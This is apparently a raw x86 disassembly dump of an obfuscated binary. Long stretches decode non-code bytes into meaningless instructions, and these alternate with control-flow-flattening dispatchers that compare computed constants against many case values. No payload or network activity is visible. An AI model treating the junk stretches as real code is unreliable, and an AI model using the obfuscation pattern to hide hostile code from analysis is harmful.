retf 0xe43a
nop
int3
out 0x38, al
xchg esp, eax
cmp byte [esi], bh
xchg esp, eax
fidiv word [ebx - 0x3254ae7e]
push ebx
pop ecx
jno 0x70b529d9
sbb eax, 0xc9c46a3e
jl 0x70b5299a
les esi, [ebp + 0x6c]
jnp 0x70b52a09
dec esi
xor byte [esp + ebx*2 + 0x34], dl
mov word [eax + 0x78], gs
stosb byte es:[edi], al
or al, 0xa0
cmpsb byte [esi], byte es:[edi]
mov eax, dword [0x7802521]
cmp dl, dh
add byte [edi], 0x3a
salc
cmpsd dword [esi], dword es:[edi]
sti
mov esi, 0x6dec3828
push ebx
je 0x70b529c9
jb 0x70b529a2
enter 0xffffffffffff9761, 0x49
popal
xchg edi, eax
dec ecx
sbb byte [eax + 0x5bf8b64a], ch
inc edi
invalid
loop 0x70b529ba
dec edx
xchg ebp, eax
bound ebx, qword [esi + 0xb0d951b]
sub ah, byte [ecx + 0x47]
inc esi
retf 0x80ec
fadd st(5), st(0)
adc bh, byte [ebx + 0xa]
lds edx, [edx]
jnp 0x70b52e26
fisttp word [esi]
invalid
arpl word [esi], sp
rcr edx, 0xb6
inc esi
jae 0x70b52e9e
and dword [ebp - 0xfb749b4], edx
mov eax, dword [0x8c243c]
cdq
aad 0xb
and ecx, esp
call 0x8e273de8
xchg esp, eax
mov bh, 0xbe
push es
js 0x70b52e17
loope 0x70b52e28
movsb byte es:[edi], byte [esi]
invalid
adc esi, dword [ebp - 0x2e39f56b]
mov byte [0xcc90e27e], al
sub eax, 0x6e928bba
add eax, 0x4a350749
jle 0x70b52ec9
push esi
pushal
xor ecx, 0x1d
test al, 0xaf
test dword [eax], eax
inc edi
mov bl, 0xe0
jg 0x70b52e3e
and al, bh
mov edx, 0x3cb55c88
loop 0x70b52e95
imul ebp, dword [eax - 0x73], 0x796ccc13
cmp ah, al
jnp 0x70b52ef2
nop
lahf
inc ebp
jno 0x70b52e18
pushal
lodsb al, byte [esi]
mov dh, byte [esi + ebp + 0x2044ca3]
rcl dl, 1
mov ecx, 0xff85c00
add byte [eax + edi*8 + 0xf], bl
fmulp st(6)
xchg ecx, eax
push ecx
arpl word [esi + 0x1e86aa99], bp
scasb al, byte es:[edi]
cdq
stosb byte es:[edi], al
xchg byte [esi], bl
pushfd
cmpsb byte es:[esi], byte es:[edi]
pop ss
xor byte [eax + 0x1e5be9cc], dl
add byte [eax], al
fidiv dword [esi - 0xf3714bb]
inc edi
sti
outsb dx, byte [esi]
push esp
pop ebx
stosb byte es:[edi], al
xchg esi, eax
imul esp, eax, 0xffffffa3
push 0xe21bd85c
wait
dec esp
add eax, 0xf092b516
mov ah, dh
xor dword [esi], eax
mov byte [esp - 0x7ad277ac], bh
js 0x70b52e63
mov ch, 0x92
invalid
sub cl, 0xb3
nop
cld
rcr dword [esi - 0x2b89c833], cl
add esp, dword [ebp + 0x365cc4e2]
ja 0x70b52eb9
adc al, 0x18
push edi
mov eax, dword [0x2ea42092]
add eax, 0x2ea42092
mov bl, 0xac
fldenv [esi - 0x59f3d1f0]
pmuludq mm2, qword [edi + 0x4b]
pushal
nop
int3
push edi
retf
inc edi
test edx, edx
pop ecx
add eax, dword [ecx + edi*8 + 0x43]
push edi
dec ebp
dec ecx
shl dword [edi], 0xec
xor ah, ch
sbb eax, 0x9bd649d6
cmp byte [esi + 0x7b9660a1], ah
fild qword [ebp - 0x3616abd8]
push ebx
sbb ch, byte [ebx - 0x42]
or bh, dh
jnp 0x70b5395d
push 0x5b
inc ebx
xchg ebp, eax
and dword [ecx + 0x33], eax
mov ebp, dword [esi]
or byte [eax - 0x18], dh
wait
or eax, 0x7f74f45e
sub byte [esi - 0x60], bh
sbb eax, dword [edi + 0x5c]
mov ecx, 0x874081da
xor esp, dword [0x6eca9945]
push ds
lodsb al, byte [esi]
out 0x66, eax
ret
cmp dword [esi - 0x7923c6c1], ebx
iretd
daa
insd dword es:[edi], dx
lea ebx, [ebx]
and ebp, ecx
je 0x70b53e3b
cli
pop ebp
mov ch, 2
push ds
js 0x70b53e00
xchg byte [edx + 0x1f], bh
push cs
aad 0xb1
mov al, 0xdc
ljmp 0x9e72
pop ecx
sbb al, 0x58
add dh, byte [esi]
jne 0x70b53e5e
pop ss
sar byte [ebx - 0x2a], 0xf1
jle 0x70b53e3b
jmp 0xa2f0aed9
push cs
xor eax, 0x153da946
jno 0x70b53e50
pushal
ror byte [ecx - 0x10631350], 0x51
push 0xcbadda39
lea ebx, [esi]
out 0x2a, eax
leave
fidivr word [esi + 0x57409d22]
mov ecx, 0xbf3f6ace
xor dword [edi - 0x32], ecx
aad 0xca
sub ecx, esi
pop ebp
lodsb al, byte [esi]
inc edx
ret 0xf25b
aas
mov edi, 0xd5ce4f31
retf 0xce2b
push ecx
popfd
movsd dword es:[edi], dword [esi]
add al, 0x63
mov al, 0xe2
dec esp
cmpsd dword [esi], dword es:[edi]
nop
int3
jp 0x70b542dc
aaa
dec edi
inc ebp
add ebx, dword [edx - 0x2107d51b]
or eax, 0xac2a4065
mov dword [0xf318a1be], eax
inc edi
retf 0xa4b6
or dl, byte [eax - 0x1708e334]
sub dword [eax + 0x7a6c973c], edi
mov ebx, 0x7d50b336
add al, byte [ebx - 0x48fcc768]
lea ebp, [eax]
int 0xa6
imul ecx, dword [esi + 0x3eb4d319], 0xffffff8a
push esp
dec esp
mov ecx, 0x3afafc01
or eax, ebx
sal byte [edx], cl
rcr byte [ebx - 0x7909ff9c], cl
mov esi, 0xfe36969f
jp 0x70b5483c
push ss
adc dl, byte [0xc2442e77]
lahf
pop edi
inc edx
push esi
and ah, byte [ebx - 0x25173aac]
dec ecx
add al, 0x76
retf 0xd5dc
pop es
sti
nop
int3
not byte [edi]
jns 0x70b5479d
jge 0x70b547f2
pop es
and edx, dword [ecx - 0x65]
add edx, dword [eax - 0x31]
cmpsd dword [esi], dword es:[edi]
push es
xchg ecx, eax
invalid
mov dword [ecx + 0x765e9fae], ebx
in eax, dx
test dword [edi - 0x488faf1d], esp
iretd
nop
jmp 0x70b54d0b
nop
mov dword [ebp - 0x10], 0
jmp 0x70b6e96d
mov dword [ebp - 0x88], 0x41af9
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x90], 0xd1b3c
mov dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x84]
imul eax, dword [ebp - 0x90]
mov edx, eax
mov eax, dword [ebp - 0x8c]
imul eax, dword [ebp - 0x88]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x88]
mul dword [ebp - 0x90]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x98]
xor eax, 0xce73955c
mov edx, dword [ebp - 0x94]
xor edx, 0x35
or eax, edx
je 0x70b5c134
mov edx, 0xce73955c
mov eax, 0x35
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0xf3d5e
or eax, dword [ebp - 0x94]
je 0x70b5b20a
mov edx, 0xf3d5e
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0xeb137
or eax, dword [ebp - 0x94]
je 0x70b56b38
mov edx, 0xeb137
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0xe9caa
or eax, dword [ebp - 0x94]
je 0x70b58ea1
mov edx, 0xe9caa
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0xdd369
or eax, dword [ebp - 0x94]
je 0x70b5a7ec
mov edx, 0xdd369
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0xd3580
or eax, dword [ebp - 0x94]
je 0x70b56629
mov edx, 0xd3580
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0xce182
or eax, dword [ebp - 0x94]
je 0x70b57a65
mov edx, 0xce182
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0xc3817
or eax, dword [ebp - 0x94]
je 0x70b58992
mov edx, 0xc3817
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0xada07
or eax, dword [ebp - 0x94]
je 0x70b5bc28
mov edx, 0xada07
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0x8ecf7
or eax, dword [ebp - 0x94]
je 0x70b57047
mov edx, 0x8ecf7
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0x8cf3f
or eax, dword [ebp - 0x94]
je 0x70b5611a
mov edx, 0x8cf3f
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0x7f16d
or eax, dword [ebp - 0x94]
je 0x70b593b0
mov edx, 0x7f16d
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0x7a7fd
or eax, dword [ebp - 0x94]
je 0x70b598bf
mov edx, 0x7a7fd
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0x789b9
or eax, dword [ebp - 0x94]
je 0x70b55c0b
mov edx, 0x789b9
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0x77b65
or eax, dword [ebp - 0x94]
je 0x70b551ed
mov edx, 0x77b65
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0x4737d
or eax, dword [ebp - 0x94]
je 0x70b556fc
mov edx, 0x4737d
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0x43abf
or eax, dword [ebp - 0x94]
je 0x70b5acfb
mov edx, 0x43abf
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0x40f19
or eax, dword [ebp - 0x94]
je 0x70b57556
mov edx, 0x40f19
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0x3f665
or eax, dword [ebp - 0x94]
je 0x70b5a2dd
mov edx, 0x3f665
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0x33a70
or eax, dword [ebp - 0x94]
je 0x70b57f74
mov edx, 0x33a70
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0x3211c
or eax, dword [ebp - 0x94]
je 0x70b5b719
mov edx, 0x3211c
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x70b5c137
mov eax, dword [ebp - 0x98]
xor eax, 0x10cd8
or eax, dword [ebp - 0x94]
je 0x70b58483
mov eax, dword [ebp - 0x98]
xor eax, 0x1e874
or eax, dword [ebp - 0x94]
je 0x70b59dce
jmp 0x70b5c137
out 0x65, eax
invalid
movsb byte es:[edi], byte [esi]
pushal
call 0x9eaa2eb9
loop 0x70b5573d
invalid
retf
outsb dx, byte [esi]
mul ecx
mov cl, 0x91
or edx, ebp
pop ebx
std
dec esi
int3
sbb al, 0xd3
mov bh, 0xe8
inc edi
jnp 0x70b55c89
lodsd eax, dword [esi]
xchg ebx, eax
cmp dword [eax*4 + 0x3d8155a1], edi
aad 0x4b
or byte es:[eax + 0x4aa9375d], 0xc7
push edi
adc esp, edi
jbe 0x70b55bf1
sub al, 0xac
js 0x70b55c30
inc ebx
sub al, 0x2c
not ah
invalid
add cl, byte [ebp + 0x526cac5b]
pop ebx
lodsb al, byte [esi]
insb byte es:[edi], dx
push edx
push es
pop edi
jno 0x70b55c87
mov eax, 0xfcdb79f
dec ebp
sbb esi, dword [ebp - 0x16]
fmul dword [ebp - 0x2278018a]
xor eax, ebx
dec edi
retf 0x70d9
push ds
pushal
add byte [eax], al
push ss
js 0x70b56116
xor eax, 0x2f9fa7f4
xchg ebx, eax
mov al, 0xf0
wait
ljmp 0x5af3
pop edx
xchg ecx, eax
ljmp 0xde9c
push ss
mov byte [0xd9a1bdf7], al
push 0x71cd7ab7
cmpsd dword [esi], dword es:[edi]
mov bh, 0xa3
mov ah, 0x4f
test eax, 0xdbdcd4d9
jns 0x70b565d7
ror dl, cl
push ebx
enter 0xffffffffffffa00e, 0xffffffffffffff93
test byte [ebx + 7], ah
arpl word [edi], ax
loope 0x70b56648
pop ss
cmpsb byte [esi], byte es:[edi]
pop edx
insd dword es:[edi], dx
mov dh, 0x3f
imul ebp, dword [eax - 0x4c], 0xffffffd4
xchg ebp, eax
salc
xchg ebx, eax
and eax, 0xb61d3237
sub dword [ebx + ebp], 0x457c42de
lea eax, [edi]
int 0x76
mov word [ebp + ecx*8 - 0x26], gs
push ds
sub esi, dword [edi - 0x16]
mov ebp, 0xf37c6da
cmp dword [esi + 0x43415fbb], ebx
push es
nop
int3
pop esp
invalid
mov al, 0x21
std
mov eax, dword [0x6957ef7e]
jge 0x70b570ae
xor ch, byte fs:[ecx]
mov byte [ecx], 0xe1
and ecx, dword [ecx + 0x405ba943]
mov dword [0xc9040f0e], eax
les edx, [ecx - 0x76063d90]
test eax, 0x4fd2af55
inc ebx
sub al, cl
jge 0x70b57096
imul ecx, dword [esi + edx*8 + 0x76962bce], 0x79
xor cl, byte [eax - 0x4a]
insd dword es:[edi], dx
dec ch
call 0x44ff8653
sbb al, 0xe
mov ebx, 0x47ec0267
and dword [edi + 0x36], 0x239bf591
jb 0x70b570fa
add al, bh
or eax, 0x90e841f7
int3
invalid
mov eax, 0xbc3d35f0
pop ebx
jo 0x70b5710b
inc ecx
insd dword es:[edi], dx
invalid
and esi, dword [esi + 0x54]
mov dh, byte [edi - 0x59efb087]
insb byte es:[edi], dx
int 0x3c
pop edx
aaa
push ds
dec ecx
sbb eax, 0x16d098e5
in eax, 0x98
rcl byte [esi]
pushfd
xchg ebx, eax
or edi, edx
xor ebp, dword [edx]
push 0xfffffffffffffff1
retf 0xfce4
xor ch, byte [esp + ebx + 0x64]
cmc
aam 8
invalid
inc edi
sub dl, bh
xor byte [edx - 0x2bc3e58f], ch
pop ss
pop ebp
inc eax
push esp
invalid
out dx, al
inc edx
salc
div byte [ebp + 0x10919356]
inc edx
mov dl, byte [ebx - 0x8944068]
cwde
invalid
cmp ebx, dword [0x1923eac9]
invalid
xchg edi, eax
mov esi, 0x1592c6b8
lahf
salc
add ebp, ebp
stosb byte es:[edi], al
leave
aam 0xb4
jae 0x70b58446
hlt
aaa
out 0x90, al
int3
sub edx, edx
push edi
cld
xchg ebx, ecx
into
sbb byte [edi + 0x27], ah
jae 0x70b58887
mov ah, 0xde
pop edx
nop
mul ch
insd dword es:[edi], dx
dec edi
test dword [ebx - 0x46eeb2dd], ebp
dec ebx
push eax
movsb byte es:[edi], byte [esi]
fld qword [ecx - 0x22]
clc
xor al, 0x50
clc
xchg ecx, eax
into
loope 0x70b5890a
xchg byte [edi + ecx*8 + 0x48], cl
das
iretd
out 0xf2, al
dec ecx
mov edi, cs
xor al, byte [ebx]
mov dh, 0x68
mov eax, dword [0x5b51b466]
out dx, eax
push ecx
rol byte [edx + esi*4], 0x30
outsb dx, byte [esi]
jo 0x70b588e9
jns 0x70b58959
push edx
jnp 0x70b588ef
sbb bl, byte [esi + 0x33]
mov ah, 0x81
and edx, edi
dec eax
push es
leave
and dword [ebx], 0xc90648d7
xor al, 0x73
int 0x85
neg byte [ebx - 0x16]
sub esp, eax
invalid
xor al, 0x7c
idiv byte [eax + ecx*2 - 0x6f368df7]
int3
or ch, cl
mov ebx, 0x5423ce24
sub eax, ecx
or byte [ecx - 0xe4a9626], ah
adc byte [esi], 0x3c
arpl word [esi + 0x59], sp
shr dword [esi + 0x5d5ece30], cl
outsd dx, dword [esi]
jecxz 0x70b58939
jno 0x70b58983
inc esi
push esi
jne 0x70b589c9
xchg ecx, eax
adc al, dh
push cs
xor byte [ebx], al
out dx, eax
or eax, 0xe23032e0
mov cl, 5
xor eax, dword [edi - 0x188f9a69]
add dword [ebp - 0x1945aae8], 0xffffffd3
movsb byte es:[edi], byte [esi]
jo 0x70b58a1a
out 0x83, eax
test dword [eax], ebx
push ebp
mov edx, 0x70a4d3e6
inc esi
stosb byte es:[edi], al
and ebp, dword [ebx + 0x5734ad6f]
push edi
sub al, 0xcc
clc
or dh, al
sub dword [0x90223971], 0xffffffcc
mov ecx, 0xc2c8b9b1
adc bh, 0x37
ja 0x70b589da
inc edx
stosb byte es:[edi], al
fsub dword [ebx + 0x6d]
invalid
or ebp, edi
sbb dl, byte [ecx]
mov word [ebp + ebp + 0x4a], fs
xor eax, dword [ecx + 0x11]
xchg edx, eax
mov esi, 0xd6a1a194
cli
push ebx
invalid
dec ebp
aam 0x2f
je 0x70b58f04
fst dword [edx + 0x5e6f90fc]
jle 0x70b58f20
invalid
xchg ebp, eax
sub al, 0x90
int3
dec esi
jbe 0x70b58ef3
mov esi, 0xc1a04306
or eax, 0x8e434391
std
xchg esi, eax
inc edi
invalid
test dword [edx], ebp
retf
lodsb al, byte [esi]
in eax, 0x12
xor eax, 0x2eca6f20
daa
sar edx, 0x64
and dword [edx], edx
daa
pop ss
add eax, 0x616c03da
invalid
sub al, 0xd3
test eax, 0xa197e828
sbb dword [edi + ebx*2 + 2], 0xffffffb3
outsd dx, dword [esi]
invalid
xchg byte gs:[edx - 0x2eb103e4], bh
jge 0x70b59777
and al, 0x53
cmpsb byte [esi], byte es:[edi]
adc esi, dword [ecx - 0x1f381c89]
jl 0x70b59815
push edi
push es
mov bl, 0x86
xor al, al
mov bh, 0x2b
adc byte [eax - 0x2c093a37], bh
in al, dx
jle 0x70b59815
push ds
sub eax, 0xa0400093
nop
push cs
aas
jp 0x70b59834
pop ebx
cmp dword [ecx - 0x5c5be29a], 0x5b
push cs
test byte [ecx + ebx*4 + 0x79], dl
stosd dword es:[edi], eax
jge 0x70b59828
jno 0x70b597fe
fsub dword [esi - 0x2d]
or eax, 0xbfc2e3fe
ror dword [0xbfc2e3fe], cl
mov ah, 0x9b
xchg esi, eax
test byte [ebp + 0x4e], 0xb1
nop
int3
jns 0x70b5984b
sub byte [eax + 0x45b55dc8], bh
daa
into
cwde
inc ebx
mov ebx, 0xf2669df7
fdivr st(3)
sti
int3
jne 0x70b597b8
pop ds
mov bh, 0xe9
fiadd dword [ebp + 0x5e]
test byte [ebx - 0x33], ch
in eax, 0xc4
mov al, 0x5a
push edx
push ecx
pop es
int 0xe5
les esi, [eax + 0x751525a]
rcr dword [ecx + esi], 0x39
adc byte [eax - 0x51], 0xe3
xchg esi, eax
push esi
in eax, dx
or edx, dword [ebx]
jb 0x70b59855
sbb ah, ch
or dword [eax], ecx
xchg ebp, eax
invalid
jg 0x70b598af
xchg edx, eax
sar byte [esi + edi*8], 1
popfd
push ebx
loop 0x70b598d7
jl 0x70b5982a
scasb al, byte es:[edi]
xchg esi, eax
adc al, 0xb
nop
int3
out dx, eax
or eax, 0x40913611
adc dword [esi], 0xe9cc9076
jns 0x70b598e5
add byte [eax], al
mov eax, dword [0xda26d4dc]
fdivr dword [edx - 0x4e]
inc eax
xor ebp, dword [ebp - 0x45]
jno 0x70b59852
inc esi
retf
inc edi
sub ah, byte [eax]
invalid
out 0xfd, eax
in al, 0x6c
mov dh, 0x38
int 0x3b
cmp edi, ebx
cmp dword [eax - 0x5d23ff1d], ecx
jne 0x70b598d6
xor al, 0x9e
and al, 0x7f
or eax, 0xc0d9acdd
pop edx
loope 0x70b598d6
or eax, 0x74a17185
inc eax
and al, 0xc
push eax
fild qword [ebx - 0x5b39ceaa]
nop
int3
adc al, 0x7d
mov ecx, 0xc249f1be
sub dword [esi + 0x277fe4e5], esp
push edx
shl eax, 1
xchg ebx, eax
mov esp, 0xeae065f1
fldcw word [esp + ecx*4 + 0x1c]
push ecx
invalid
push es
sub dword [eax + 0x73], edi
and ebx, dword [eax + 0x7fe87fcc]
les ecx, [ecx + 0x1e5ce495]
push es
mov ch, 9
mov dl, 0x98
dec edi
push ebp
stosb byte es:[edi], al
push cs
out 0xe8, al
jg 0x70b5a2e0
jae 0x70b5a305
cwde
int3
pop ss
cwde
or ecx, ecx
mov ebp, 0x9cd9b870
cmpsb byte [esi], byte es:[edi]
std
outsb dx, byte cs:[esi]
invalid
dec eax
mov ebx, 0xf49ce89b
scasb al, byte es:[edi]
bound ebp, qword [ecx]
scasd eax, dword es:[edi]
inc esi
mov byte [ebx + 0x328cb091], bh
push esp
mov ch, 0xd6
cwde
jmp 0x1573bc18
adc al, 0xd2
mov byte [0x6fa21446], al
ror byte [edx + 0x1db974ae], 1
pop ebp
jo 0x70b5acdc
sbb eax, 0x1efc705d
push ds
inc edx
lds edi, [esi + esi*2]
add dl, byte [ecx - 0x294c639e]
xchg byte [0x934c3365], dh
cmp al, 0xe1
sbb dword [eax + 0x143de9cc], edx
add byte [eax], al
lea ebp, [ebx*8 + 0x4887991]
jmp 0x70b5acd0
dec ebx
mov ebp, 0xe04402c8
and eax, 0x39cccc1
mov bl, 0x2c
invalid
mov bl, 0x3b
ficom dword [esi + 0x17035c3b]
pop esp
add edx, dword [edi]
lodsb al, byte [esi]
stosb byte es:[edi], al
push eax
and dword [edx + 0x5ff192b3], edi
xor ebx, dword [edx + 0x7d]
pop ebx
dec edi
daa
out dx, al
push edi
fisubr dword [ebx]
fcmove st(0), st(3)
cli
mov edx, dword [eax - 0x6ffd9e1a]
int3
dec ebp
or bl, ah
test al, 0x75
fcom dword [eax + 0x3673545f]
xchg dword [0x6d5a3166], ebp
push cs
push cs
or eax, 0xe3ae485c
pop es
aam 0xaf
jb 0x70b5b699
sub eax, 0xc67cd4d2
push 0xffffffffffffffb3
mov edi, 0xa4d6f321
or al, 9
int1
nop
int3
stosb byte es:[edi], al
loopne 0x70b5b69e
xchg edi, eax
jbe 0x70b5b784
adc eax, 0xb853a3b7
mov bl, 0x2c
leave
sub bl, byte [ebx - 0xc]
and dword [esi], edi
enter 0xffffffffffff8470, 0xffffffffffffffe0
sbb eax, 0xc7968a4f
scasd eax, dword es:[edi]
mov al, 0x57
mov ch, 0x90
jl 0x70b5b77a
xchg ebp, eax
in eax, 0xa8
loope 0x70b5b6e6
test al, 0xe1
movsd dword es:[edi], dword [esi]
xor bl, byte [ebx + edi*2 - 0x52]
lodsd eax, dword [esi]
and bl, dl
xchg ebp, eax
jne 0x70b5b6e5
sbb eax, 0xc5a79448
popfd
dec ecx
jl 0x70b5b7d0
stosb byte es:[edi], al
mov edx, fs
and byte [ebp + edi*2 - 0x6d29d964], cl
jo 0x70b5b7d4
mov ch, 0x61
pop ds
scasd eax, dword es:[edi]
mov ax, word [0xccd703b6]
stc
jno 0x70b5b73e
nop
int3
ljmp 0xb86d:0x3afe06c
add al, 0x6c
js 0x70b5b789
loope 0x70b5b7ce
inc esp
pop es
mov ebx, esi
xor al, 0xc2
out dx, eax
imul ebx, dword [esi], 0xd
push esp
popal
das
xlatb
push edx
dec eax
movsb byte es:[edi], byte [esi]
pop ds
mov cl, 0xf1
cld
push ds
mov word [edi + edi*4 - 0x2e], cs
outsb dx, byte [esi]
in eax, dx
mov ecx, 0x69635cee
xor dword [edi - 0x1d], ecx
invalid
mov esi, 0x735b1fac
and ch, dl
cmp al, 0x68
pop ds
pop ebx
jae 0x70b5b7f6
ljmp 0x1996:0xfdb0683c
mov al, 0xfd
xchg esi, eax
sbb dword [ecx + 0x64af4dfd], ecx
or al, 0x98
dec ebp
scasd eax, dword es:[edi]
or al, 0x98
inc esp
xchg dword [edi], esp
mov bl, 0x6e
cdq
pop edx
stc
aad 0x62
jb 0x70b5b7d7
inc ebp
loopne 0x70b5b7dd
sar dword [edi - 0x71], 1
sahf
push esp
push edi
mov dh, byte [edi - 0x5c]
xchg ebp, edi
jp 0x70b5b7df
mov byte [ecx], ch
add eax, 0x863f50f2
push cs
adc eax, esi
and byte [ebp - 0xcbe0529], bl
mov al, 0x1e
sbb dh, dh
dec edi
sal dword [0x2b6720f], 0x90
int3
jecxz 0x70b5bbee
xor dword [ecx], esp
sbb al, 0x65
dec edx
sub ecx, dword [0xe9e80b55]
dec esp
push cs
hlt
xor bl, dh
xchg ecx, eax
sbb al, 0x40
cmp ecx, dword [esi + 0x30e46d1a]
insd dword es:[edi], dx
in al, 0x30
push 0xbf8cfa2c
jne 0x70b5bc06
push ss
mov dword [0x3a15ddd8], eax
bound esp, qword [esi - 4]
popal
jl 0x70b5bbfe
cmp ecx, dword [edi + ebx*8 + 0x26]
fbld tbyte [esi]
pop esp
add al, 0x53
sub bl, byte [eax + 0x12485356]
loope 0x70b5bc56
push ecx
iretd
inc esp
mov eax, 0x49b389fb
cmp ch, byte [edi + ecx*2 - 0x7d]
pop edx
js 0x70b5bc2f
insb byte es:[edi], dx
dec edi
sbb dword [edx + 0x78], 0xfffffffa
mul eax
not dword [edi]
jbe 0x70b5bc7f
sbb dword [0xbf9c17bc], edx
jl 0x70b5bbe6
jg 0x70b5bbd5
cld
pop ds
test byte [esi - 0x3343a841], cl
cwde
sbb ch, byte [ebx]
shl bl, 0xc7
pop edi
dec eax
mov edx, 0x3dfe86c7
invalid
mov dword [esi + 0x9d93dfe], 0xa4531aaa
xchg edi, eax
sbb al, 0xf4
leave
popal
mov eax, dword [0xae8a1ce8]
pop esi
mov ecx, 0x7b7fe5b4
add al, bh
cdq
cmp dl, byte [edi + 0x52]
fiadd word [ebx]
jmp 0x19241e0
invalid
nop
jmp 0x70b5c138
nop
mov eax, dword [ebp - 0xc]
sub eax, 8
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0xa8], 0x69bc1
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xb0], 0xccc34
mov dword [ebp - 0xac], 0
mov ecx, dword [ebp - 0xa8]
mov ebx, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xb0]
mov edx, dword [ebp - 0xac]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], edx
mov eax, dword [ebp - 0xb8]
xor eax, 0x1367f5
or eax, dword [ebp - 0xb4]
nop
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xbc]
mov dword [esp], eax
call fcn.70a89a66
test eax, eax
je 0x70b67ff0
mov dword [ebp - 0xe0], 0x1e30d
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xe8], 0x4cc9d
mov dword [ebp - 0xe4], 0
mov eax, dword [ebp - 0xdc]
imul eax, dword [ebp - 0xe8]
mov edx, eax
mov eax, dword [ebp - 0xe4]
imul eax, dword [ebp - 0xe0]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xe0]
mul dword [ebp - 0xe8]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], edx
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], edx
mov eax, dword [ebp - 0xf0]
xor eax, 0xe4a9af9
mov edx, dword [ebp - 0xec]
xor edx, 9
or eax, edx
je 0x70b635ef
mov edx, 0xe4a9af9
mov eax, 9
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0xf3325
or eax, dword [ebp - 0xec]
je 0x70b6035c
mov edx, 0xf3325
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0xd382e
or eax, dword [ebp - 0xec]
je 0x70b5d0c6
mov edx, 0xd382e
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0xd2f2a
or eax, dword [ebp - 0xec]
je 0x70b5ea11
mov edx, 0xd2f2a
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0xd0d82
or eax, dword [ebp - 0xec]
je 0x70b6086b
mov edx, 0xd0d82
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0xc4077
